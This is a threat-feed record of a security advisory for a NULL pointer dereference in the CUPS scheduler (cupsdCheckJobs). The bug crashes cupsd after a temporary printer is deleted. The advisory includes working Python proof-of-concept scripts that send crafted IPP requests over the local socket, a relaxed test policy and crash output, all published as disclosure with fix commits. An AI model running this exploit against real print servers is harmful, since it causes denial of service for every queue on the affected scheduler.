{"schema":"threatline.record/2","record":{"id":"GHSA-qqm8-4q5h-jg55","aliases":["GHSA-qqm8-4q5h-jg55"],"summary":"NULL pointer dereference in cupsdCheckJobs crashes cupsd after temporary printer deletion","details":"### Summary\r\n\r\ncupsd crashes when a job marked `job-held-on-create` refers to a temporary printer that has been automatically deleted. `cupsdCheckJobs()` looks up the missing destination and dereferences the returned NULL pointer.\r\n\r\nReproduced on CUPS v2.4.19 over the local CUPS domain socket. The crash affects all queues managed by the scheduler. The queue must first be configured to hold new jobs, which requires administrative privileges under the default policy. The reproduction below relaxes that requirement for testing.\r\n\r\n### Details\r\n\r\nIn `cupsdCheckJobs()`, the `job-held-on-create` branch accesses the destination without checking whether it still exists (`scheduler/job.c:325–336`):\r\n\r\n```c\r\nreasons = ippGetString(job->reasons, 0, NULL);\r\nif (reasons && !strcmp(reasons, \"job-held-on-create\"))\r\n{\r\n  printer = cupsdFindDest(job->dest);\r\n\r\n  if (printer->holding_new_jobs)\r\n    continue;\r\n\r\n  ippSetString(job->attrs, &job->reasons, 0, \"none\");\r\n}\r\n```\r\n\r\n`add_job()` assigns this reason when the destination has `holding_new_jobs` set. That state is enabled by `Hold-New-Jobs`, an operation restricted to `@SYSTEM` under the default policy.\r\n\r\nThe destination can disappear through `cupsdDeleteTemporaryPrinters()` (`scheduler/printers.c:783–806`). This function removes temporary printers that are not processing and whose `state_time` is older than 300 seconds, without canceling their jobs. In contrast, the explicit `CUPS-Delete-Printer` operation cancels jobs before deleting the destination.\r\n\r\nA failed local-printer probe sets `state_time` to zero on several error paths in `scheduler/ipp.c`, making the temporary printer immediately eligible for removal. If a held-on-create job remains, the next call to `cupsdCheckJobs()` dereferences NULL at `scheduler/job.c:333`.\r\n\r\nRuntime reproduction was performed on v2.4.19. The supplied source-history analysis places the vulnerable branch in v2.2.0 through v2.4.19; earlier versions were assessed by inspection rather than runtime testing.\r\n\r\nThe fix should check the destination lookup and handle jobs left behind by temporary-printer removal. Extending the removal delay alone would not address the missing NULL check.\r\n\r\n### Proof of concept\r\n\r\n**Configuration**\r\n\r\n- CUPS v2.4.19 with access to its Unix domain socket.\r\n- `CUPS-Create-Local-Printer` requires a domain-socket client.\r\n- The test policy permits `Hold-New-Jobs` and `CUPS-Accept-Jobs` without authentication. Both are privileged under the default policy.\r\n\r\nIn the test instance’s existing `<Policy default>` block, move these two operations out of any existing privileged `<Limit>` group and place them in:\r\n\r\n```apache\r\n<Limit Hold-New-Jobs CUPS-Accept-Jobs>\r\n  Order deny,allow\r\n</Limit>\r\n```\r\n\r\nLeave the other policy rules unchanged and restart the test instance.\r\n\r\n**Device listener**\r\n\r\nSave the following as `/tmp/blackhole.py` and run it with `python3 /tmp/blackhole.py`. It accepts the printer probe, waits two seconds, and closes the connection.\r\n\r\n```python\r\n#!/usr/bin/env python3\r\n# blackhole.py - accept TCP connections, hold 2s, close (fake slow device)\r\nimport socket, threading, time\r\ns = socket.socket()\r\ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\ns.bind((\"127.0.0.1\", 9999)); s.listen(8)\r\ndef handle(c):\r\n    try: time.sleep(2)\r\n    finally: c.close()\r\nwhile True:\r\n    c, _ = s.accept()\r\n    threading.Thread(target=handle, args=(c,), daemon=True).start()\r\n```\r\n\r\n**Trigger**\r\n\r\nSave the original reproduction script below as `/tmp/poc.py`. It creates a temporary printer, enables job acceptance, holds new jobs, and submits a job while the device probe is pending.\r\n\r\n```python\r\n#!/usr/bin/env python3\r\n\"\"\"PoC: cupsd 2.4.19 NULL deref in cupsdCheckJobs (job.c:333).\"\"\"\r\nimport socket, struct, sys, time\r\n\r\nSOCK = sys.argv[1] if len(sys.argv) > 1 else \"/var/run/cups/cups.sock\"\r\nNAME = \"p019\"\r\nPURI = f\"ipp://localhost/printers/{NAME}\"\r\nBLACKHOLE = \"ipp://127.0.0.1:9999/ipp/print\"\r\n\r\ndef attr_str(tag, name, value):\r\n    v = value.encode()\r\n    return (struct.pack(\">BH\", tag, len(name)) + name.encode()\r\n            + struct.pack(\">H\", len(v)) + v)\r\n\r\ndef build(opid, reqid, groups, path, data=b\"\"):\r\n    body = struct.pack(\">BBHI\", 1, 1, opid, reqid)\r\n    for gtag, attrs in groups:\r\n        body += bytes([gtag]) + attrs\r\n    body += b\"\\x03\" + data\r\n    return (f\"POST {path} HTTP/1.1\\r\\nHost: localhost\\r\\n\"\r\n            f\"Content-Type: application/ipp\\r\\nContent-Length: {len(body)}\\r\\n\"\r\n            f\"Connection: close\\r\\n\\r\\n\").encode() + body\r\n\r\ndef op_attrs(extra=b\"\"):\r\n    return (attr_str(0x47, \"attributes-charset\", \"utf-8\")\r\n            + attr_str(0x48, \"attributes-natural-language\", \"en\")\r\n            + attr_str(0x45, \"printer-uri\", PURI) + extra)\r\n\r\ndef send(req):\r\n    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\r\n    s.settimeout(20)\r\n    s.connect(SOCK)\r\n    s.sendall(req)\r\n    return s\r\n\r\ndef read_status(s):\r\n    resp = b\"\"\r\n    try:\r\n        while True:\r\n            c = s.recv(4096)\r\n            if not c: break\r\n            resp += c\r\n    except socket.timeout:\r\n        pass\r\n    s.close()\r\n    if b\"\\r\\n\\r\\n\" not in resp: return None\r\n    ipp = resp.split(b\"\\r\\n\\r\\n\", 1)[1]\r\n    return struct.unpack(\">H\", ipp[4:6])[0] if len(ipp) >= 6 else None\r\n\r\nreqs = []\r\n# 1. Create the temporary local printer; its response is deferred until the\r\n#    device probe finishes, so fire the remaining requests immediately.\r\nreqs.append((\"Create-Local-Printer\", send(build(0x4028, 1, [\r\n    (0x01, attr_str(0x47, \"attributes-charset\", \"utf-8\")\r\n         + attr_str(0x48, \"attributes-natural-language\", \"en\")\r\n         + attr_str(0x45, \"printer-uri\", PURI)),\r\n    (0x04, attr_str(0x42, \"printer-name\", NAME)\r\n         + attr_str(0x45, \"device-uri\", BLACKHOLE)),\r\n], f\"/printers/{NAME}\"))))\r\nreqs.append((\"Accept-Jobs\",   send(build(0x4008, 2, [(0x01, op_attrs())], f\"/printers/{NAME}\"))))\r\nreqs.append((\"Hold-New-Jobs\", send(build(0x0025, 3, [(0x01, op_attrs())], f\"/printers/{NAME}\"))))\r\nreqs.append((\"Print-Job\",     send(build(0x0002, 4, [(0x01, op_attrs(\r\n    attr_str(0x42, \"document-format\", \"application/vnd.cups-raw\")))],\r\n    f\"/printers/{NAME}\", data=b\"poc019\\n\"))))\r\n\r\ntime.sleep(1)\r\nfor name, s in reqs:\r\n    st = read_status(s)\r\n    print(f\"[*] {name}: {hex(st) if st is not None else 'no response'}\")\r\nprint(\"[*] cupsd should die within seconds of the probe failure; check:\")\r\nprint(\"    systemctl status cups / journalctl -u cups --since -1min\")\r\n```\r\n\r\nRun:\r\n\r\n```sh\r\npython3 /tmp/poc.py /var/run/cups/cups.sock\r\n```\r\n\r\n**Observed result**\r\n\r\nThe job was queued with state `held` and reason `job-held-on-create`. After the probe failed, the temporary printer was deleted without canceling the job. The scheduler then terminated with `SIGSEGV`.\r\n\r\nThe sanitized build reported:\r\n\r\n```text\r\njob.c:333:20: runtime error: member access within null pointer of type 'cupsd_printer_t'\r\n    #0 cupsdCheckJobs  scheduler/job.c:333:20\r\n    #1 main            scheduler/main.c:1026:7\r\n```\r\n\r\nThe script above is unchanged from the supplied reproduction. Its `read_status()` reads bytes `4:6`, which belong to the IPP request ID rather than the status code at bytes `2:4`. Its printed status values therefore do not establish that the operations succeeded; use the scheduler logs and crash trace as evidence.\r\n\r\n### Impact\r\n\r\nThis is a NULL pointer dereference causing scheduler-wide denial of service. All queues managed by the affected cupsd process lose service.\r\n\r\nUnder the default policy, a local user cannot independently perform the full demonstrated sequence: enabling job acceptance and holding new jobs require administrative privileges. An unprivileged submission can trigger the failure when a temporary queue is already accepting jobs and configured to hold them.\r\n\r\nA restart loop may also occur if the held job is persisted before the destination disappears and restored at startup without that destination. This is a separate persistence scenario, not established by the two-second reproduction above.\r\n\r\n\r\n### Fix\r\n\r\n[master 7c7b35b18272c9] Abort held jobs if the destination has gone away (GHSA-qqm8-4q5h-jg55)\r\n\r\n[2.4.x c5fc041ca] Abort held jobs if the destination has gone away (GHSA-qqm8-4q5h-jg55)\r\n","categories":["Unclassified"],"product":"cups","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/OpenPrinting/cups/security/advisories/GHSA-qqm8-4q5h-jg55","source_modified_at":"2026-10-05T14:13:47Z","fetched_at":"2026-10-25T01:05:06.841276Z","package":{"ecosystem":"","name":"cups"},"range":"<=2.4.19"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/OpenPrinting/cups/security/advisories/GHSA-qqm8-4q5h-jg55","source_modified_at":"2026-10-05T14:13:47Z","fetched_at":"2026-10-25T01:05:06.841276Z","package":{"ecosystem":"","name":"cups"},"version":"2.4.20"}],"cvss":4.1,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-01T21:06:18Z","modified_at":"2026-10-05T14:13:47Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/OpenPrinting/cups/security/advisories/GHSA-qqm8-4q5h-jg55","fetched_at":"2026-10-25T01:05:06.841276Z","source_modified_at":"2026-10-05T14:13:47Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-05T14:13:47Z","content_hash":"8c3198d049f162a03038916ebbbf3da9620cc0cceeef3fd524c366d461749283"}}
